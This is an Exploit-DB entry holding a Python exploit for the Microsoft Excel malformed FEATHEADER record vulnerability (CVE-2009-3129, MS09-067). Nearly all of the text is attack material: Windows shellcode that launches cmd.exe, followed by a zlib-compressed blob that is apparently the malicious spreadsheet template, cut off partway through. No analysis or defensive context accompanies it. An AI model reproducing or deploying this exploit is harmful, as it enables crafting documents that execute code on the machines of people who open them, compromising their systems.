Exploit-DB #14706
Description: Microsoft Excel - FEATHEADER Record (MS09-067)
Type: local
Platform: windows
Date: 2010-08-21
Author: anonymous

Exploit:
#MS Excel Malformed FEATHEADER Record Exploit
#CVE-2009-3129, MS09-067, OSVDB-59860
#Vulnerble application MS office 2003/2007
#Tested on XP SP2 - MS Ofice 2003 v. 11.5604.5606
#Sean Larsson - Original Discovery

#!/usr/bin/python

import sys
import zlib

#Allwin WinExec cmd.exe + ExitProcess Shellcode - 195 bytes by RubberDuck =)
shellcode = (
b"\xFC\x33\xD2\xB2\x30\x64\xFF\x32\x5A\x8B"
b"\x52\x0C\x8B\x52\x14\x8B\x72\x28\x33\xC9"
b"\xB1\x18\x33\xFF\x33\xC0\xAC\x3C\x61\x7C"
b"\x02\x2C\x20\xC1\xCF\x0D\x03\xF8\xE2\xF0"
b"\x81\xFF\x5B\xBC\x4A\x6A\x8B\x5A\x10\x8B"
b"\x12\x75\xDA\x8B\x53\x3C\x03\xD3\xFF\x72"
b"\x34\x8B\x52\x78\x03\xD3\x8B\x72\x20\x03"
b"\xF3\x33\xC9\x41\xAD\x03\xC3\x81\x38\x47"
b"\x65\x74\x50\x75\xF4\x81\x78\x04\x72\x6F"
b"\x63\x41\x75\xEB\x81\x78\x08\x64\x64\x72"
b"\x65\x75\xE2\x49\x8B\x72\x24\x03\xF3\x66"
b"\x8B\x0C\x4E\x8B\x72\x1C\x03\xF3\x8B\x14"
b"\x8E\x03\xD3\x52\x68\x78\x65\x63\x01\xFE"
b"\x4C\x24\x03\x68\x57\x69\x6E\x45\x54\x53"
b"\xFF\xD2\x68\x63\x6D\x64\x01\xFE\x4C\x24"
b"\x03\x6A\x05\x33\xC9\x8D\x4C\x24\x04\x51"
b"\xFF\xD0\x68\x65\x73\x73\x01\x8B\xDF\xFE"
b"\x4C\x24\x03\x68\x50\x72\x6F\x63\x68\x45"
b"\x78\x69\x74\x54\xFF\x74\x24\x20\xFF\x54"
b"\x24\x20\x57\xFF\xD0"
)


compressedfile = (
b"\x78\x9C\xEC\xBD\x09\x60\x55\xD5\xB9\x3F\xBA\x4E\x4E\x66\xC8\xC0\x3C\x88\x72\x48\x10\x01\x03"
b"\x64\x84\x84\x41\xC8\x08\x81\xE4\x64\x66\x0C\x84\x93\xE4\x64\x20\xC3\x89\xE7\x9C\x84\x20\x82"
b"\x80\x51\x91\xA0\x62\xAD\x88\xD6\x4E\x76\xB8\xED\xED\x68\xDB\x6B\x5B\x6B\x7B\xB1\xED\x6D\xAB"
b"\xB5\xD7\xB6\xB7\xA3\x9D\xAC\xBD\xF6\xDA\x79\xBC\xAD\xB5\x6A\xDE\xF7\xFB\xF6\x5A\x6B\xAF\x9D"
b"\xEC\x03\xDA\xF6\xBE\xF7\x7F\xEF\xDD\x03\xEB\xEC\xFD\x5B\x7B\xAD\x6F\xFD\x7E\xDF\x5E\xE3\x1E"
b"\x4E\xBE\xFA\xF4\x8C\x67\xDF\xFE\xF0\xC2\x1F\x8B\x49\x9F\xEB\x84\x57\xBC\x3A\x91\x22\x12\x8D"
b"\xB8\xE9\x14\x3C\x72\xDF\x93\x29\x44\x58\xE2\x57\x27\x26\x26\x54\x9A\x13\x14\xEE\xA3\x70\x81"
b"\xC2\xFD\x14\x1E\xA0\xF0\x26\x0A\x0F\x52\x78\x33\x85\xB7\x50\x78\x2B\x85\x89\xFF\xFD\xFC\x1F"
b"\xF1\x79\x85\xC2\xAB\x32\xC4\xD3\x79\x49\xA0\x80\x73\x9E\x44\x21\x99\x42\x0A\x85\x54\x0A\xD3"
b"\xE4\xF9\x4F\xA3\x90\x4E\x21\x83\x02\x55\x01\x31\x83\xC2\x4C\x0A\xB3\x28\xCC\xA6\x30\x87\xC2"
b"\x5C\x0A\xF3\x28\xCC\xA7\xB0\x80\xC2\x42\x0A\x57\x50\x58\x44\xE1\x4A\x0A\x57\x51\x58\x4C\xC1"
b"\x47\x61\x09\x85\x2C\x0A\xD9\x14\x96\x52\xB8\x9A\xC2\x32\x0A\xD7\x50\x58\x4E\x61\x05\x85\x95"
b"\x14\xAE\xA5\x90\x43\x61\x15\x85\xD5\x14\xD6\x50\xC8\xA5\x90\x47\x21\x9F\x42\x01\x85\x42\x0A"
b"\x45\x14\xD6\x52\x58\x47\xA1\x98\x42\x09\x85\xF5\x14\x36\x50\xD8\x48\x61\x13\xD7\x6D\x21\x36"
b"\x53\xD8\x42\xA1\x94\x42\x19\x85\x72\x0A\x15\x14\x2A\x29\x54\x51\xD8\x4A\x61\x1B\x85\x6A\x0A"
b"\xDB\x29\xEC\xA0\x50\x43\xA1\x96\x82\x9F\x42\x1D\x85\x7A\x0A\x0D\x14\x1A\x29\x34\x51\x68\xA6"
b"\xD0\x42\x61\x27\x85\x5D\x14\x76\x53\xD8\x43\x61\x2F\x85\x7D\x14\x5A\x29\xEC\xA7\x70\x80\x42"
b"\x1B\x85\x83\x14\x02\x14\xDA\x29\x74\x50\xE8\xA4\x10\xA4\xD0\x45\xA1\x9B\x42\x0F\x85\x5E\x0A"
b"\x87\x28\xF4\x51\xE8\xA7\x30\x40\x61\x90\x42\x88\xC2\x90\xB0\xDA\xDE\x4D\x72\x1B\xA5\xED\x30"
b"\x85\x11\x0A\x87\x29\x8C\x52\x38\x42\xE1\x06\x0A\x47\x29\xDC\x48\xE1\x18\x85\xE3\x14\x4E\x52"
b"\xB8\x99\xB9\x87\xE8\x5F\x94\xCE\x45\x25\xD9\x8D\x52\x9B\x46\x8E\xD7\xFE\x99\x4B\x35\x46\xD5"
b"\xA5\x38\xC2\xBE\xE4\x38\x8E\xBF\x68\x1D\xAE\xE2\xEF\x0D\x09\x07\x56\xCE\xFF\x9C\x27\x37\xFB"
b"\x2D\x63\xFF\xBC\xE9\x4B\x9E\x08\x45\x9D\xB8\xC2\x4A\xB0\x8B\x4A\x0F\x93\xBA\x76\xE6\xD1\xF7"
b"\xBA\xCA\xC6\x67\xA6\x88\xF3\xA8\x7A\x09\x0E\xAF\x25\x0F\x18\x2E\xFC\xBE\xB5\xDF\x46\x67\xAB"
b"\x8C\x6A\x41\x1B\x9D\xCD\x46\x3A\xAB\xDB\xC9\x0F\xE5\x74\x26\xDB\xE8\xBB\x85\xCF\xEC\xA5\x3F"
b"\x59\xC2\xE3\x41\x1F\x88\x36\x92\x12\x23\xCD\xB9\x9B\xC4\xCB\xD0\xEF\x9B\x71\xFE\x7D\x39\x0B"
b"\x3E\xE7\x31\x8F\x59\xA5\xFF\xED\x9F\x64\xEA\x81\x95\xFF\xE3\x63\xA4\xF1\x3D\x9E\xC8\xE5\x8B"
b"\x7F\xCD\xB6\xB6\xC6\x27\x25\x99\x5A\x71\x62\x82\xD8\x35\xFB\x2B\x49\x4F\x5C\xA4\x5D\xAF\x10"
b"\xB7\x19\xC7\xE1\xAB\xE7\x04\xEA\xEE\x10\xFA\x85\xDA\xDE\x8E\x70\x28\x12\xEA\x8A\xFA\xCA\x43"
b"\xE1\xA1\x50\x38\x10\xED\x0D\x0D\xFA\xFE\x87\x3E\x65\x54\xFA\x87\xE3\x03\x1E\x70\xB8\x48\xAC"
b"\x37\xD1\x9E\x57\xFC\x07\xA1\x4F\x13\x7A\xD4\x93\x81\x1E\xA9\xB9\xA7\x37\xB2\x2B\x14\xEE\x6B"
b"\x0F\x85\xFA\x1E\xA4\x0C\xE9\xD4\xE5\x20\xC3\x4C\xFE\x9E\xC5\xDF\x1F\x62\x13\x8F\xF1\xF7\x26"
b"\x3A\x72\x24\xDD\x97\xF6\x87\x92\xC0\xB2\x8D\x2C\xD1\x23\x76\xC7\x6D\xE1\x74\x77\xF0\x77\x16"
b"\x7F\xA7\xD3\xB7\x47\x7C\x9C\xF3\x3C\xC3\x31\x79\xD4\x91\x7D\x89\xB6\x13\x37\x9D\xF3\xB0\x67"
b"\x5E\x4A\xF0\x94\x52\xE5\xED\xA5\x46\xDC\x2F\x8F\x3A\x7C\xCB\x1F\xF3\x68\xDC\x25\xF3\x7A\xE9"
b"\xE8\x63\x71\xB1\x8E\xC6\x2E\x77\xBE\x79\xD4\x73\xFA\xA5\x78\xCF\x87\x83\xB9\xC7\xD2\xBB\xBE"
b"\xF1\xC0\xA5\x73\x5E\x15\x3F\x9F\x1A\x2F\x75\xDC\x59\x4B\xB3\xB2\x73\xB2\xB3\x73\x37\xB4\xAE"
b"\x52\xBB\x57\xC5\x5F\x49\xA7\x7B\xBE\x71\x6C\x5F\x63\xB0\x73\xBF\x99\xE0\x2A\x1A\x23\x16\xD8"
b"\x09\x56\xE7\x9A\xF9\x09\x5D\x15\x9F\x4D\xB5\xF3\x2A\x67\x8A\x49\x56\x38\x59\x11\x75\xF0\xD4"
b"\x95\xB7\x21\x76\xA5\x8F\xE3\xDB\x56\x59\xB6\x6C\x28\x8F\x66\xAD\xCA\x62\xB0\xA5\x6D\xD5\x55"
b"\xF1\x39\x34\x3A\x5C\x83\x8C\x66\x2E\x33\xCB\xA4\xF4\x9B\x68\x04\x29\x76\x16\x44\x04\x26\x95"
b"\x65\xC5\xD8\xC5\x6D\xDE\x6C\x1B\x28\xA4\x61\x68\x8D\x51\xA0\xCA\x3D\x29\xEB\x94\x7C\x3E\x1A"
b"\x0E\xA9\xBF\xCB\x6A\x69\x92\xBA\xDB\x56\x6C\x68\x5D\x6E\xC3\xD6\x15\x57\xC5\x5F\x4D\xDE\xF6"
b"\x4D\x4A\x63\x79\x6B\x52\xC2\x65\xE4\xF5\x25\x66\x42\x14\xEB\xB4\x47\x31\x48\x79\x2D\x9D\xFE"
b"\x65\x53\x53\x4E\xB1\x2A\x93\x2F\x12\x1F\xC6\xB0\x9D\xE5\xE0\x68\x14\xBC\x44\x3C\x8C\x21\x3C"
b"\x6B\x2A\x3F\x23\x51\x96\xF8\x08\xC6\xF8\xAC\xC9\xDC\x9C\x45\x5D\x23\x3E\x8A\x51\x3F\xCB\x95"
b"\x97\x33\xE9\x3A\xF1\x31\x0C\xF0\x6D\xCB\x8D\xEA\xB0\x62\x83\x84\xAD\xCB\x65\xC1\x2A\x02\xE7"
b"\x1B\x60\x4B\x1B\x65\x5D\x2D\xFE\x05\xF3\x87\xB6\xE5\x66\x3E\x67\xA6\x49\x39\x36\x8B\x47\x30"
b"\x5B\x30\x0B\xB3\xB8\x39\xCB\x63\x6A\x46\x91\x74\xAE\xB5\x89\xB5\xE2\xE3\x9